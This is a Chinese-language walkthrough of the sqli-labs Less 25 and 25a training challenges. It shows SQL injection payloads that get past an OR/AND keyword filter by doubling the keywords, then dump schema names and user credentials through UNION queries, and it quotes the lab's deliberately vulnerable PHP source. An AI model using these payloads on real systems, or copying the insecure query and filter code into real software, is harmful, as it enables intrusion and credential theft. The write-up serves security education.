sqli-labs 通关指南:Less 25
Less 25 的注入过程和 Less 1 的完全一样,但是 Less 25 开始对 “OR” 和 “AND” 2 个字符串进行过滤,此时我们可以使用双写绕过来应对这种过滤。
Less 25
Trick with OR & AND(过滤了 OR 和 AND 的注入)
判断注入类型
首先注入正常的参数,网页回显正常的信息。使用单引号来闭合,网页回显报错信息。
?id=1'
使用 “--+” 注释掉后面的内容后回显正常,说明此处是单引号闭合的字符型注入。
?id=1'#
双写绕过
构造恒真条件时,我们发现网页回显了报错信息,根据提示我们发现 “OR” 运算符不见了。
id=1' OR 1 = 1--+
使用 “AND” 进行注入时,网页也回显了报错信息,“AND” 运算符也不见了。由此可见此处网页对我们传入的参数进行了过滤,把 “OR” 和 “AND” 运算都删掉了。
id=1' AND 1 = 1--+
此处我们可以使用双写绕过来对过滤进行绕过,具体的方式为在被过滤的字符串中间再次书写一次该字符串。例如在构造恒真条件时,我们在 “OR” 中间再插入一个 “OR”,变成 “OORR”。当网页对传入的参数进行过滤时,该字符串中间的 “OR” 会被过滤掉,但是字符串剩余的部分也构成了一个 “OR” 运算符,此时的参数就注入成功了。
id=1' OorR 1 = 1--+
对于 “AND” 来说也是一样,在该字符串中间的任意位置双写一次,也能查询成功。
id=1' AandND 1 = 1--+
id=1' ANandD 1 = 1--+
获取数据库信息
判断表有几列,使用 ORDER BY 子句进行一个排序,此处网页回显了错误信息。这是因为 “ORDER BY” 子句里面也有个 “OR” 字符串,所以在后面的注入中,所有有 “OR” 和 “AND” 的字符串都要双写。
?id=1' ORDER BY 3--+
测试到第 4 列无回显,说明表中一共有 3 列。
?id=1' OorRDER BY 4--+
判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。
?id=-1' UNION SELECT 1,2,3--+
爆数据库名。
?id=-1' UNION SELECT 1,database(),3--+
爆表名。
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+
爆字段名。
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+
获取目标信息
爆出 users 表中的信息。
?id=-1' UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+
关卡 SQL 查询语句
源码如下,我们可以看到 SQL 查询语句和之前的没什么差别。但是参数 id 在被查询时,先经过了 blacklist() 函数。
$id = blacklist($id);
// connectivity
$sql ="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
blacklist() 函数如下,该函数使用正则表达式对 “AND” 和 “OR” 进行了过滤。
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
Less 25a
Trick with OR & AND Blind (过滤了 OR 和 AND 的盲注)
判断注入类型
注入以下内容,以下内容全部网页都回显错误,说明该网页是数字型注入。
?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+
构造恒真条件,此时发现回显了错误信息,说明我们的 “OR” 运算符被过滤了。
?id=1 OR 1 = 1--+
使用双写注入,网页就能返回正常的信息了。
?id=1 OorR 1 = 1--+
本关的盲注体现在何处?当查询的 id 不存在,也就是查询失败时,没有任何回显信息。不过由于查询成功时能正常回显,此处使用 Less 25 的注入方式即可。
?id=-1
获取数据库信息
判断表有几列,使用 ORDER BY 子句测试到第 4 列无回显,说明表中一共有 3 列。
?id=1 OorRDER BY 3--+
判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。
?id=-1 UNION SELECT 1,2,3--+
爆数据库名。
?id=-1 UNION SELECT 1,database(),3--+
爆表名。
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+
爆字段名。
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+
获取目标信息
爆出 users 表中的信息。
?id=-1 UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+
关卡 SQL 查询语句
除了查询失败时不显示错误信息,其他的和 Less 25 一样。
//fiddling with comments
$id = blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
//echo 'YOU ARE IN ........';
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
function blacklist($id)
{
$id = preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id = preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}